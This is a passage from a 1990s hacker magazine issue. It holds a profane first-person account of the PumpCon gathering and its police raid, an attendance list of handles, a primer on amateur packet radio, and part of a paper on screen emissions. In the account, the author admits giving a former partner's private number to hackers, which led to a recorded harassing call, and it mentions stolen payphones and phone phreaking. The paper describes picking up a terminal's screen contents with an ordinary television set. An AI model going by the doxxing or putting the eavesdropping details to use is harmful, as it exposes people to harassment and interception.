After checking in I stumbled over to the group to see who was who. I introduced myself and asked if Dr. Who or Mark Tabas had showed up. They had not. (And as it turns out, they would never show up. Dr. Who I can forgive since he had no way in from Boston, but Tabas...obviously he had better things to do than drive a few miles across town to say hello. Remind me to reciprocate at HoHo Con.)

I was immediately pulled away by GrayAreas and Ophie, who both bestowed upon me warnings of impending doom. Ophie relayed that The Wing had told her the previous night that he was going to come to the con and "get me."

GrayAreas informed me that an unscrupulous character had been asking for me earlier. After she described him, it was obvious that Rogue Agent had made it to the con. (Unscrupulous...haha)

Up in my room, I dove into my bag of medical goods and felt pity upon myself. Congested, contagious, feverish and now being stalked by some unknown person. Great. I never much paid any heed to the threats given by unknown typists over the net, as people's bravado multiplies exponentially in direct proportion to the distance they are separated behind a phone or computer screen. During the week prior to the con I had been threatened by at least 2 different people under a variety of nicks and addresses. One promised to crack me over the head with a bat.

I figured with my luck, being sick, this would be the ONE time someone would make good on such a promise, as my timing and coordination would obviously be impaired. Swell.

I went on back downstairs to jump in the conversations in the lobby. The group had grown a bit in my absence. I sat down and began talking to Shortwave & C‑Curve about ham radio and archaic computer equipment. Shortwave offered to send me a Commodore PET to add to the Erik Bloodaxe Memorial Computer Archive. (The EBMCA is a non‑profit organization devoted to maintaining the history of personal computing. Our museum will open soon. Hold your breath!)

I then noticed that it appeared that damn near every IRC denizen from the Washington DC area was at this damn con. (sans KL & Strat, but they were to appear the following day.) A bunch of us took off wandering around later on to see what the hell was up at some of the other hotels. The area was laid out in such a manner that there were like five hotels immediately next door to one another with two cheesy restaurants between them.

We took off to the Knights Inn and ended up hanging out in the parking lot staring at the moon, bullshitting about really lame stuff. While hanging out like retards in the near freezing winds, Dark Tangent came over and told us that Zar had been thrown off a bus for the 2nd time and was stuck in DC and needed someone to pick him up. No one wanted to road trip it to DC since we were all having SOOO much fun freezing our asses off, so Zar had to wait it out for the next bus.

In one room in the Knights Inn a bunch of people were busily smoking their brains out. Their little gathering was dubbed "Hemp‑Con."

Finally, sanity rested upon me and I decided that the cold would not help nurse me back to health, so I took off back to my room. Ophie was in the room next door to mine with a bunch of people drinking. Well, I think Ophie was doing most of the drinking actually. :)

I wandered in and gave her a hard time about being drunk. She responded by telling everyone in the room intimate details about her marriage and her sexual involvement with the entire DC hacker scene. Then she took off all her clothes and ran around throwing Miniature chocolate bars at everyone. I'm making this up, but she probably wouldn't remember. it anyway. Hehe.

As I went to open my door I noticed that someone had written "DIE NARC" on it with a cigarette. On the floor was the cigarette, a Camel filterless. Well, it appeared that The Wing had arrived. [Oh frabjuous day. Calloo, Callay. I chortled in my joy.]

Just as I was about to go to bed, people were banging on my door. When I opened it, it looked as if everyone from Ophie's room had staggered over for a visit. One guy in the back, kinda tall, kinda thin, wearing a purple shirt, was smoking a Camel stub. I smiled a him and said, "How's it going?" He seemed a bit put off but said, "Do you know who I am?" I replied, "Of course I do Alan, how's it going?"

This seemed to piss him off for some reason.

"You might be all happy tonight, but just wait until tomorrow," he said.

"Oh?" I replied, "you got something in store for me? Cool. Could you play those Ken Shulman tapes for the con?"

(For those of you who don't know, once upon a time, I had a little company called Comsec. One of my partners was Ken Shulman, a rather complex new money piece of @#!*. Well, things didn't work out with us and Ken for a number of reasons, so we fired him. Ken got mad at us. He tried to fuck over each of us in devious little ways. To get even, I gave his private number out to MOD via the MOD information conduit Renegade Hacker. One day, "little shulow" was called up by Wing and Corrupt. According to several people, this call was recorded by MOD. On this now legendary tape, allegedly a disgruntled Shulman proceeded to tell MOD the story of how we at Comsec were involved in crimes, drugs and were turning in everyone to the feds. This is the same Ken Shulman who lost his BMW to the Houston Police when it was found with 400 hits of X in the trunk, and went into seclusion. But I digress. I've been trying to get a copy of this tape for about two years to see if he said anything actionable about Comsec, and to it give to the FBI if he may have been interfering with an ongoing federal investigation. Yes, I do hate him.)

This seemed to make Wing mad too. I guess I might have spoiled the surprise or something. "I'm not gonna play any tapes so you can sue Shulman."

"Oh, that's too bad." I said.

"Well, I just want you to know, that tomorrow when it happens, you'll know," he said.

"Well, I guess we'll just wait till tomorrow then."

"Yeah, we will."

"Yup. I guess we will."

"You think you're so cool, but YOU'RE A DICK!" he screamed.

Oh great, this is where I get punched. "Well, it's nice you have your opinions."

"YOU'RE A FUCKING DICK!"

Maybe I was supposed to be the one getting mad and doing the punching but I wasn't getting anything but tired and was ready to take a shitload of aspirin and slam a bottle of night‑time cold syrup and antibiotics. "Well, I'll see you tomorrow."

By now, I guess everyone had figured out that there would be no bloodsport, so someone grabbed Wing and they left. Ophie yelled after him, "Some people are such assholes."

"Well, wasn't that fun," I said to those still hanging around. "But, alas, time for me to get some sleep." I went down to bum some aspirin from Noelle and told her the sordid tale, then went back to my room and crashed out.

AND THAT'S THE INFAMOUS ERIKB vs THE WING STORY. AREN'T YOU EXCITED?

That night, VaxBuster and others tried to get in the electrical box, but were thwarted by a concerned citizen. "I'M GOING DOWN TO THE FRONT DESK RIGHT NOW!"

Meanwhile, Sabre sat in the cold all night drinking himself into oblivion while keeping a sharp, albeit bloodshot, eye out for potential feds.

The next day everyone congregated in a room at the Red Roof Inn that had been rented as the Conference Room. (How crafty, we'll have it in a hotel room, and SAY its a conference room.)

Everyone piled into this room anxious for everything to begin. We waited. And waited. And waited. Several newcomers had arrived such as Strat and his woman, Dr. Freeze (who used to be the Wizard 703 of rolodex fame. Keep on Phreakin!), and Zar who had arranged to get kicked off of his 3rd bus right near the hotel by slamming a 40 and lighting up cigarettes right next to the bus driver.

Finally, after about 7 hours, I figured that maybe I should just go say something. I hopped up and gave a quick and dirty overview of commercial packet radio technology. I talked briefly about RadioMail and CDPD, and also talked about EMBARC and demonstrated sucking messages out of a Newstream pager. Then I sent a message from my notebook from ARDIS to a Sprintnet gateway, thru an outdial to a dialup to a terminal server on the Internet, and from one account mailed myself at RadioMail which then sent it back to me on my HP95 over RAM. I dunno...I thought it was cool.

After speaking, I was presented with an award: an empty porno video box. The buttheads didn't even have the decency to give me the tape!

I put the bible in it instead and placed it back in a drawer.

GreyAreas got up next and talked a bit about her magazine and then in a heartfelt plea, asked whoever was bothering her to stop.

Many in the audience seemed indifferent to her cause, which upset her greatly. She had to leave immediately afterwards. I hope I wasn't the only person who felt kind of sorry for her.

Now, I'm not one to rain on anyone's parade, but kids, fun and games on the net are one thing, but the minute you start fucking with people's businesses they will go to the FBI. Remember this. [Personally, I think there are about 4 or 5 specific people on the net who need to fucking grow up before they find themselves sharing a cell with Phiber, although that seems to be what they want.]

To be fair, people who decide that they want to get on the net need to be reminded that THE NET IS NOT REAL! THE NET IS NOT REAL LIFE. IF THE NET SCARES YOU OR WORRIES YOU, TURN OFF THE FUCKING COMPUTER! GO HANG OUT ON ANOTHER CHANNEL! GO PLAY ON A MUD! GO READ NEWS! If that doesn't placate you, go to AOL.

Next up was someone I didn't know, and unfortunately didn't meet. But his girlfriend was HOT! [If he's reading this, tell her I said "hi."]

He gave everyone a rundown of the troubles from last year's Pumpcon. I noticed during his recap that the trouble last year didn't really start until they all read The Visionary's file. I suggested that we hold a midnight seance and read it aloud so we could all get busted too.

Ixom finally made it to his own con and said a few syllables about the folks still waiting to be sentenced from last year.

Up last was VaxBuster who talked about the wonderful world of Blue Boxing. Yes, Virginia, there is a way to box. People are so silly. Obviously I'm not the only one who has looked at CCITT manuals and knows signalling frequencies in other countries, or who knows about the "International Direct" numbers. Wow.

After the conference several of us had pizza and got the worst service I have ever had in my entire life of dining out. Grand. We made up for it by amusing ourselves spotting "victims" with laser pointers, laughing like idiots as we placed the dots on their foreheads.

Once we got back from chowing, everyone had already begun drinking. People were going off to congregate at the conference room for a central party location. As I was leaving to go over there, The Wing walked up to me, and said he needed to talk to me. We went into my room and he said he had heard what GrayAreas said earlier in the day, and he wanted to say that it wasn't him. I told him, he needed to tell her that, and not me.

I went on to tell him that if he wasn't involved in all the crap going on all over the net, then I had no problems with him. I said he had some really poor choices in friends in the past, but hopefully he would exercise better judgement in the future.

We all went back over to the conference room. Wing pulled GrayAreas outside to talk to her. While they were talking, I caught some talk about payphones.

[no names from here on]

It seems this guy had a lot of phones and several people too off to go buy a few. They ended up at the lamest party in Pennsylvania. Four people and a keg. The phones allegedly were sold for 75 bucks and were still in the box. Brand new.

Back at the con, one of the hapless phone buyers decided to take his phone up to the conference room to show it off. Once there, everyone giggled and gawked over it, and then he took it back down to put it in a car. On the way there, a cop grabbed him and arrested him. The cop then searched the car he was about to put it in and found some pot and arrested the car's owner too and had the car impounded.

[anonymous portion ends]

Now the cops converged on the conference room and began hounding people in there. One wonderful cop discovered my Porno‑Bible creation and screamed at the crowd, "You heathens! How could you do something like this? You people are sick!"

Ixom, ready for a fight, began yelling at the chief of police over the phone. The police chief told him that maybe he would like for the nice officers to bring him downtown to go over his complaints. Ixom decided that would not be necessary.

After the police interaction, people scattered from the conference room back to their individual rooms. No sooner than they got there, the police decided to investigate a "few noise complaints" at the Comfort Inn. Ophie's room, the Dope Room on the 1st floor and a few others got searched.

While all of this mayhem was ensuing in the outside world, I was up in my little room being interviewed by GrayAreas for her magazine. This was probably the longest interview I've ever done. I hope I don't turn out looking like a bigger fuckhead in it than I already am.

After the interview, I got the story of all the police interaction from the throngs of people who gathered outside my room. A few people remarked, "how come YOUR room didn't get searched?" I didn't have an answer for that, except maybe because it was paid on a corporate AmEx and might not have looked like a "hacker" was in there. (No, it was because I work for the government...just ask Agent Steal. Geez.)

After this mess I went to bed. Yup.

The following morning while waiting to get a table at Denny's, we noticed that the old dudes with the beer were going into the "conference room" and taking stuff out. A bunch of the crew ran over there to check it out and guess what? The old guys weren't just any bunch of drunken old dudes, they were the Pennsylvania State Police's Computer Crime Division. They had been staking out the conference from the room next door and had listened in to everything. Rad. Two years and running. Maybe next year the CIA and NSA will want to stake it out too. I can't wait.

Then I went home.

****************************************

‑ Top 10 things learned at PumpCon ‑ The Wink ‑

10) Hotel's don't like over 40 people in their lobby

9) Its not Ma'am, its Doris

8) "GrayArea has quite a few gray areas"

7) Greyhound hates Zar

6) Who needs speakers who show up?

5) SnatchBuster !

4) "You heathens, how can you put the Holy Bible in a pornographic movie case !"

3) Geezer Narc !

2) Don't put condor and erikb in the same space

1) Don't carry open payphones around the con

****************************************

P U M P C O N ][

Informal Attendance List

<Disclaimer> I cranked this thing out over the weekend, and some people I know were there, but I didn't get their names. Some people might be listed twice. It's up to you to figure it out.

As we were waiting for people to arrive we came up with a lameness scale. If you got a "+l" that mean you got a lame point for saying someone's real name or info. Basically spouting off real stuff to people who shouldn't hear it. Sure it's easy when you all know each other, but if I was really trying I would have generated so much real data on people it would be scary. On the other hand if you were real slick and tricky, you got a "+e", or elite point. As more and more people showed up I stopped doing this 'cuz we all broke up and only the people I was around would have to suffer the wrath of the +l. Think of it as a security rating. The more +l the easier it was to get info out of people.

The List is in the order of when I ran into people. Basically the first half is in chronological order, but after that I lost track and got names when I could.

Grayarea

Noe11e (Yes, she exists)

Okinawa (+e)

Reive (assigned to Fed‑Man)

Ophie (+l+l+l+l+l+l.. you get the idea)

Lgas (+l)

Loki (+l, but he was trying hard..)

Jello Man

Evak

CarlCory

SubEthan (+l)

Bernie S. (+l, Elite handset dude)

Jamie

DRobinson

iXom (5 hours late)

Nick‑O (+e, worked that stewardess)

FreeJack

MadCap (With the elite hat)

Condor

Jay Farnam

ShortWave

ErikB (+e, good speech)

C‑Curve (+e)

Cuttle Fish

Vax Buster (+e+e for protecting personal data, Good speech) Syntor

LudiChrist (+l,+e for evading officers)

Optic Nerve

Scourge (+l)

Great One (+l, +e for staying cool at police station)

Dave (+l+l, Don't use your real name)

Phil (+l+l, what's this, Real Name con?)

Juanka (+l This guy was acting strange..)

Rogue

NtStriker (+e for being shot by the police)

Wierdo

DreamScriber

Randy S. Hacker (+e for cool car and free beer)

Count Zero

Typhoid Mary (She locked onto TaquilaHeadPaint)

Ragent

The Wing

Stranger (+l for believing NtStriker was shot)

RedAlert

Zar (+l for getting kicked off three busses)

Dr. Freeze

Strat

Anonymous Caller

KL (+e for staying at the Knights Inn)

Mad Dog

Odd Ball

Hoog

Decimator (+l, real name)

Time Lord (+e, good speech)

Albatross

Saber

Tristan

Grimm

Male Havoc

MrG (+l+l for getting arrested, +e for not narking)

Intro to Packet Radio

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 9 of 27

****************************************

The Amateur Radio Packet Network

by Larry Kollar, KC4WZK

... As a low‑orbit satellite comes into range, Jim's system automatically goes into action. The computer downloads the last half of an image taken by the satellite's CCD camera, the first half having been taken on the previous pass. That done, the computer gets a list of new files on the satellite's BBS and downloads Jim's email...

It's legal.

... Her mother is on the phone, but Rhonda accesses the local BBS by radio. She logs in to read postings from a world‑wide network and her email from a penpal in Great Britain...

It's not Internet.

... 11:30 p.m., and the local conference node is jumping. Two people were trying to work out a computer problem, when the local expert checked in with some ideas. Before long, three more people checked in and a freewheeling discussion got under way...

It's happening now.

While the Internet has been growing fast and with great hoopla, amateur radio operators (or "hams") around the world have been quietly building a network of their own ‑‑ the Amateur Radio Packet Network. Like Internet, the packet network has a large TCP/IP component and is available to anyone who can get access. Unlike Internet, getting access is very easy for nearly anyone who already has a ham license.

The packet network is rather loosely organized, and is built and maintained by volunteer work. It's basic building block is the LAN (actually a MAN, or Metro Area Network, but terminology is never 100% accurate), which are coordinated by local or regional clubs. A LAN occupies a specific radio frequency (or channel, if you want to be crude about it :‑), usually VHF or UHF, within a given area. Individuals and the regional organizations provide links between LANs for communications outside the local area.

LAN operations work much like Ethernet ‑‑ your radio waits for the frequency to be clear, then transmits a packet. This allows several connections to run at once. Most packet systems can themselves maintain up to 10 simultaneous connections, but this feature is used only rarely.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Packet Radio Equipment

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hams to want to use packet radio need three pieces of equipment:

‑ A radio (of course). Most LANs are found on the 2‑meter band (144‑148 MHz, with packet concentrated around 145.0 MHz and 145.6 MHz. Many hams dedicate older crystal‑controlled commercial or ham radios to packet work.

‑ A TNC (Terminal Node Controller). This is an intelligent box that contains a packet modem much like the guts of a landline (telephone) modem, and a microcomputer that handles the network interface. Other alternatives are available, including a dumb radio modem that plugs into a PC (software on the PC then handles the network interface), and multimode controllers that can handle other digital communication methods popular among hams. However, most hams use TNCs since they are cheap (just over $100) and readily available.

‑ A terminal, or a PC running a terminal or packet program. Since TNCs are smart devices, a simple terminal or terminal emulator is all that's required: if it has a keyboard, a display, and an RS‑232 port, you can use it with a TNC. However, many features (multiple connections, for example) are more useful if you have a computer running special packet software.

Currently, most hams use 1200 baud on 2 meters. This is the lowest (very) common denominator in packet radio. However, large urban areas are starting many new LANs in the 420‑450 MHz amateur band; most of these use 9600 baud as a minimum. As time goes on, and packet radio becomes more popular, 9600 baud will become the entry level.

When many inter‑LAN links use 56K baud, and some go as high as 2M baud, why are the vast majority of hams still using 1200 baud? Part of the answer is technical: to get reliable performance at better than 2400 baud, you have to tap into the guts of the radio, bypassing the audio stages for both transmit and receive. The other part is social: everybody else is using 1200 baud, why spend extra money for stuff you can't use? The technical problem has been solved ‑‑ you can buy "data radios" in kits and pre‑built models that come with the audio bypasses already in place ‑‑ but it will take a few years or a good reason for hams to abandon their old gear and move up.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Local Communications

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is lots of local action to be found on the LANs. People and clubs run BBSes, conference nodes, and many personal mailboxes. Most BBSes are set up so they can send email and specified bulletins (equivalent to Usenet newsgroup articles) to personal mailboxes during late night hours when usage is light. A ham using this setup simply accesses his personal mailbox to get his feed for the day, not worrying about noise and propagation delays.

In general, a ham who wants to add a component to a LAN just puts it up and advertises it on the local BBSes. For example, a friend in my area recently set up a "QUOTES" BBS dedicated to sharing quotes and funny stories. Perhaps by time this issue of Phrack is published, I will have a Xenix system available for logins over the air.

In most areas, the local networks use AX.25 (a subset of X.25 designed by hams especially for packet radio), although TCP/IP is getting popular in some places. I'll talk more about this later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linking It All Together

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A single LAN is useful, but the REAL power comes from hooking them together. Linking LANs into a wide‑area network gives the Internet its power; so it goes with the packet network. With inter‑LAN links, we can send email nationwide (and to many foreign countries), post articles (bulletins) for general reading, and even make distant keyboard‑to‑keyboard contacts ‑‑ with some limitations.

So how is it done? Since many metro areas support a dozen or more LANs, these are usually linked together with high‑speed UHF equipment using TCP/IP. An Atlanta‑based group called GRAPES has developed a 56K bps system; some experimental links in the microwave bands run as fast as 2 MEGA bps!

For long‑haul links, many areas rely on HF (shortwave) frequencies. Since the FCC limits HF packet to 300 baud (yes, you read that right ‑‑ 300 baud), and the HF frequencies are often very noisy, this is a slow and painful process. The amazing thing is not how slow it is, but that it works at all!

For this reason, many forward‑looking hams are turning to packet satellites for long‑haul links. The advantages include relatively quiet frequencies, 9600 baud data rates, and predictability; the major disadvantage is that there are simply not enough satellites to handle all the traffic that needs to be handled ‑‑ yet. I'll talk more about packet satellites later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AX.25, TCP/IP, and All the Rest

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The packet network grew from a handful of different experiments with radio networking, which has left us with several networking protocols. Far and away the most popular protocol is AX.25, which is built into thousands and thousands of TNCs and other packet controllers. AX.25, as implemented in most ham gear, offers up to 10 simultaneous connections and the ability to "digipeat" packets. Digipeating (DIGItal rePEATING) is one way to extend the range of a packet station ‑‑ if you can't reach the station you want to talk with directly, you can often digipeat through a station between you and the other person. One problem is that you have to manually construct a route each time you want to contact a distant station. The other problem is that the send‑acknowledge sequence has to run all the way across the link. Digipeating through more than one or two stations is a good way to annoy other LAN users, and unreliable to boot. The connection works as follows:

‑‑‑send‑‑‑\ /‑‑‑‑‑‑‑‑>

station1 digi station2

<‑‑‑‑‑‑‑‑‑/ \‑‑ ack ‑

One popular improvement on the digipeater is the K‑node, developed by Kantronics (a vendor of packet equipment). The K‑node establishes two links ‑‑ one between you and the node, the other between the node and the other station. Each link has its own send‑acknowledge loop, so a problem in one leg of the connection doesn't require re‑sending packets through the entire end‑to‑end connection ‑only through the leg where the packet got garbled. This connection works as follows:

‑‑‑send‑‑‑\ /‑‑send‑‑>

station1 K‑node station2 <‑‑ack‑‑‑‑/ \‑‑ ack ‑‑

The K‑node shares one disadvantage with the digipeater ‑‑ you still have to manually construct your own connection. This is where the higher‑level protocols come in.

I've already mentioned TCP/IP. Yes, we have it. The 44.*.*.* network is assigned exclusively to amateur packet operations. The network name is "ampr.org." Since TNCs do not have TCP/IP in ROM, some kind of personal computer is required. Most of them work ‑‑ PCs, Macs, Amigas, Ataris all have TCP/IP networking software. If you've ever used the free KA9Q NOS software (or one of its derivatives), you have software that was developed by hams for hams. TCP/IP lets amateurs create all sorts of interesting experiments, such as setting up "wormholes" through the Internet to relay traffic between distant LANs. Some parts of the country have Internet/packet email access as well.

There are other "smart" networking protocols in wide use. NET/ROM is one highly popular protocol. Each NET/ROM node keeps a table of nodes heard and how to reach each one, eliminating the hassles of manual routing. One problem with NET/ROM is that during band openings, VHF and UHF signals can carry for hundreds of miles beyond their normal range. ("Line of sight?" Yeah right ‑‑ a friend of mine in north Georgia has made contacts with people as far away as Lincoln, Nebraska on 2 meters using the stuff he carries around in his truck.) After a band opening, NET/ROM nodes find themselves stuffed with faraway nodes that they can't hear anymore.

The phreakers in the audience may find ROSE interesting. ROSE bases addresses on the NANP area code/prefix scheme. If a person uses ROSE, and you know her call sign and phone number, you contact her at the address "<call> VIA AAAPPP." Unfortunately, ROSE does not have the widespread use necessary to make it a nationwide network.

There are several other networking protocols in use, such as TheNet and a few others. However, I expect TCP/IP to replace most if not all competing protocols in a few years.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Packet Satellites

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here's something you won't see on Internet. Maybe some of Internet's traffic goes over satellites, but direct contact?

Since 1959, amateurs have launched nearly 30 satellites into orbit. Nearly 20 of these are still in service ‑‑ and most of them are dedicated at least part‑time to packet operation.

>From a user's standpoint, there are two different types of packet satellite ‑one type using 1200 bps FSK (frequency‑shift keying) and the other using 9600 bps FM. The current population is split, with about a half dozen of each type. Most packet satellites, or pacsats, are based on a design from University of Surrey in Great Britain ‑‑ they're small and lightweight, keeping launch costs to a minimum. Pacsats are always launched as secondary payloads, and often ride as ballast to reduce launch costs even further.

Many pacsats have on‑board CCD cameras that can take pictures of Earth or space, and make the pictures available for downloading from the on‑board BBS. Other pacsats carry equipment that allow them to be switched into a transponder mode, such as the Japanese FujiSat that carries SSB and CW (Morse code) contacts on Wednesdays, or can even be converted into an FM repeater such as AO‑21.

Some special software has been developed to make the most of the limited bandwidth. For example, pictures can take more time to download than is available during a single pass (normally 10‑20 minutes), especially if other users are sending and downloading other files at the same time. The software, called PB, lets you download and upload as much of a file as possible during one pass, then gets the rest of the file on subsequent passes. Other software lets you automate the entire process, so you can get new files as they arrive without having to get up early for that 4 a.m. pass. PB also lets you download files by listening in ‑‑ if another person is downloading the file you want, you can simply listen to the downlink and let PB construct the file for you. This is a good way to save bandwidth; if two people want the same file, only one of them has to actually download it. If there are holes in the file, you can fill them in later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Getting an Amateur Radio License

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are five grades of amateur radio licenses in the U.S.; from lowest to highest, they are Novice, Technician General, Advanced, and Extra. Each grade of license has a test on theory and regulations, with a Morse code "element" required for several of them.

The good news is that 99% of what packet radio has to offer is available to the Technician. The better news is that the Technician license, as of January 1991, no longer requires you to learn Morse code. The "codeless Tech" has brought a great deal of new blood into ham radio, including many hackers and mainstream computer people.

Study guides are available from Radio Shack and the American Radio Relay League (ARRL); the ARRL's guides are the better of the two, in my opinion. You can get ARRL study guides at most ham radio stores or directly from the ARRL. If you want to get a codeless Technician license, you'll need the Novice and the Technician study guides. The material isn't very hard to learn; anyone who can navigate the guts of Ma Bell will have no trouble with the Novice or Technician exams. :‑)

The ARRL can also provide you with a free schedule of exams in your area. The FCC some years ago turned over all testing to accredited amateur groups, so you should be able to find an exam at a time and place convenient to you. Many other ARRL services are available through an Internet mail server; send mail to info‑server@arrl.org containing the line "send index" in the body of your message.

If there's any bad news, it's that a group of diehards can't stand the idea of a code‑free ham license. Some of these folks will go out of the way to hassle code‑free hams. Fortunately, most of them are afraid of computers and don't do packet. Other things to watch out for ‑‑ the FCC frowns on profanity, intentional jamming, and encrypted data sent over the air. A small price to pay, in my opinion, for the opportunity to build and explore a worldwide network without the Secret Service breathing down your neck.

‑‑ end ‑‑

The Moeller Papers

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 10 of 27

****************************************

[Editor's Note: This file is reprinted with permission of InterPact Press. The actual document contains many pictures, charts, and tables that due to our format, we were unable to reproduce. We encourage the reader to contact InterPact Press at 813‑393‑6600 and order a hard copy of the document for $25.00]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Protective Measures Against Compromising Electro Magnetic Radiation Emitted by Video Display Terminals

by Professor Erhart Moller

University of Aachen, Aachen, Germany

0. Introduction

Compromising electromagnetic radiation emitted by machinery or instruments used in data processing or communication engineering can be received, decoded and recorded even across large distances. It is also possible to recognize the data or information which was processed and transmitted by the emitting instrument as text in clear. Compromising emitted electromagnetic radiation thus jeopardizes the protection and security of data.

The Laboratory for Communication Engineering at the Fachhochschule Aachen is developing protective measures against compromising emission of radiation. However, these protective measures can only be effective if they are derived from the characteristics, the effects, and risks of compromising emitted electromagnetic radiation. Therefore we first consider only the forms of appearance and the characteristics of compromising emitted electromagnetic radiation.

1. Compromising Emitted Electromagnetic Radiation

In this context one often refers only to the so‑called computer radiation. But this is only one form of compromising emitted electromagnetic radiation. There are three types of such emissions.

1.1. Types of Compromising Emitted Electromagnetic Radiation

Figure 1.1 shows an n example of an arbitrary electric device with various electric connections: a power supply line, a high frequency coaxial transmission line, and a coolant line with in‑ and outflux. This device emits three types of compromising electromagnetic radiation:

1. electromagnetic radiation in form of electric and magnetic fields and electromagnetic waves;

2. electromagnetic waves on the outer surface of all coaxial metallic connections (shell waves);

3. electric interference currents and interference voltages in power lines connected to the device.

Each of the three types can be transformed into the other two. For instance, shell waves can be emitted as fields or waves. On the other hand, electromagnetic waves can be caught by a nearby conductor and can propagate on it as shell waves. These phenomena are the reason for the difficult control of compromising electromagnetic radiation, and they imply that one must deal with all and not just one form of compromising electromagnetic radiation. Also, electromagnetic protection against compromising emitted radiation must deal with all forms of it.

1.2. Examples of Compromising Emitted Electromagnetic Radiation

To exemplify the three types of compromising electromagnetic radiation we consider the monitor depicted in figure 1.2.

1.2.1. Compromising Electromagnetic Radiation

Figure 1.3. shows the experimental set‑up. The video display terminal is connected via the power line to the power supply. The power line is surrounded by absorbers so that the terminal can only emit electromagnetic radiation. The absorbers prevent the generation of shell waves on the power line. The dipole antenna of the television receiver is 10 m from the video terminal. Figure 1.4. shows the screen of the television receiver after it received and decoded the signal. Not only is the large FH=AC well readable but also the smaller letters.

This demonstration yields the following results:

* The video display terminal emits electromagnetic radiation;

* Despite being within (standards committee) norms the emitted electromagnetic radiation can be received and decoded across a certain distance;

* The electromagnetic radiation emitted by the terminal can be decoded into readable information and symbols on a television screen. Therefore, this emitted radiation is compromising.

1.2.2. Compromising Surface or Shell Waves

The video display terminal and the television receiver are positioned as in figure 1.5. The power line of the terminal is surrounded by a current transformer clamp which absorbs the shell waves. The television screen shows again the picture seen in figure 1.4. The quality of the picture is often better than in the previous case. Another experiment would demonstrate that secondary shell waves can form on a nearby conductor. The emitted radiation is then caught by nearby conductors and continues to propagate as shell waves. These emissions also give good receptions but are almost uncontrollable along their path of propagation.

1.2.3. Demonstration of Compromising Emitted Radiation Through the Power Line

Figure 1.6 shows the experimental set‑up for the proof of compromising power supply voltages. The video display terminal acts as a generator whose current and voltage is entered into the power supply. Using a capacitive line probe, the entered signal can be retrieved and fed into the television receiver.

This form of transmission is the known basis for intercom systems or so‑called babysitter monitors where the signals are transmitted from room to room via the energy supply lines in a home. As in the case of electromagnetic radiation or shell waves, one obtains the same picture quality as in figure 1.4.

2. Facts About Compromising Emitted Radiation

Protective measures against compromising emitted radiation are not only determined by the above‑mentions\ed three types of compromising emissions but also by taking into account the following data:

# level of intensity and spectral distribution;

# frequency (emission frequency) and frequency range;

# directional characteristics of the radiation.

These data can then be used to derive the damping and the amplitude‑frequency response for the protective measure and its location.

2.1. Emission Spectrum and Level of Intensity

The spectral distribution of compromising emitted radiation depends on the frequencies used to generate the picture on a screen. The regular repetition of dots and lines gives rise to the video and line frequency which is found in the spectrum. However, the emission of video or line frequencies is not compromising since their knowledge does not yet give access to processed data. If the lines are covered regularly by symbols, a symbol frequency is obtained which is also detectable in the spectrum. A single symbol consists of a dot or pixel matrix.

The dot matrix of the symbol @ is also known in figure 2.1 The electron beam scans the individual dots or pixels line‑by‑line and keys them bright or dark. This keying is done using the so‑called dot or pixel frequency. For instance, the highest keying frequency is obtained by scanning the center of the @ symbol since there one has a long sequence of successive bright and dark pixels. It also follows from figure 2.1 that the keying is slower, i.e., the keying frequency is lower, along the upper part of the @ symbol because of a long sequence of only dark or bright pixels. It follows that the emissions due to the keying frequency are highly compromising since they give direct information about the structure of the picture.

Until recently, the frequencies in the following table were used:

video frequency 45 Hz ‑ 55 Hz

line frequency 10 kHz ‑ 20 kHz

symbol frequency 2 MHz ‑ 5 MHz

dot or pixel frequency 15 MHz ‑ 20 MHz.

The pulses for the electron beam are formed in the video part, i.e., the video amplifier, of the monitor. Therefore, the cathode‑grid of the picture tube and the video amplifier are the main emitters of radiation. The upper diagram in figure 2.2 shows the calculated spectrum for the cathode‑keying. It represents a sequence of dots from the center of the @ symbol using a dot‑sequential frequency of 18 MHz. The diagram in the center of figure 2.2 shows the measured spectrum at the keyed cathode of the picture tube. The agreement between the calculated and measured spectrum for the frequency is clearly visible. However, the calculated and measured spectral representation differ in the form of the envelopes. In the measured spectrum one finds an amplitude increase between 175 MHz and 225 MHz. This increase is usually found in the same or similar form in monitors. The reasons for this amplitude increase are design, construction parts, and dimensions of the video display terminal. In the lower part of figure 2.2 we see the compromising radiation emitted by the terminal as measured at a distance of 10 m. The spectrum of the radiation emitted by the terminal is superimposed by broadcast, radio and interference spectra since the measurement took place on open ground. Despite this interference one can recognize the typical form of the cathode spectrum. The increase in the amplitude between 175 MHz and 225 MHz presents a particular risk since the television transmitters for Band III operate within this frequency range and all television sets are tuned to it (see figure 2.2).

A comparison of the intensity level of the television transmitter with the level of the compromising radiation in figure 2.2 shows their agreement. It is therefore not very difficult to receive the compromising radiation in proximity of the emitter using only a regular television set with normal sensitivity.

Figure 2.3 shows the spectral distribution of compromising shell waves emitted by the video display terminal. Here again one recognizes the particular form of the dot or pixel frequency. The height of the shell wave spectrum is much lower at higher frequencies than the height of the radiation spectrum. The shell waves have lower intensity in the range of broadcast television but higher intensity in the range of cable television. To receive the shell waves a television set must be cable‑ready.

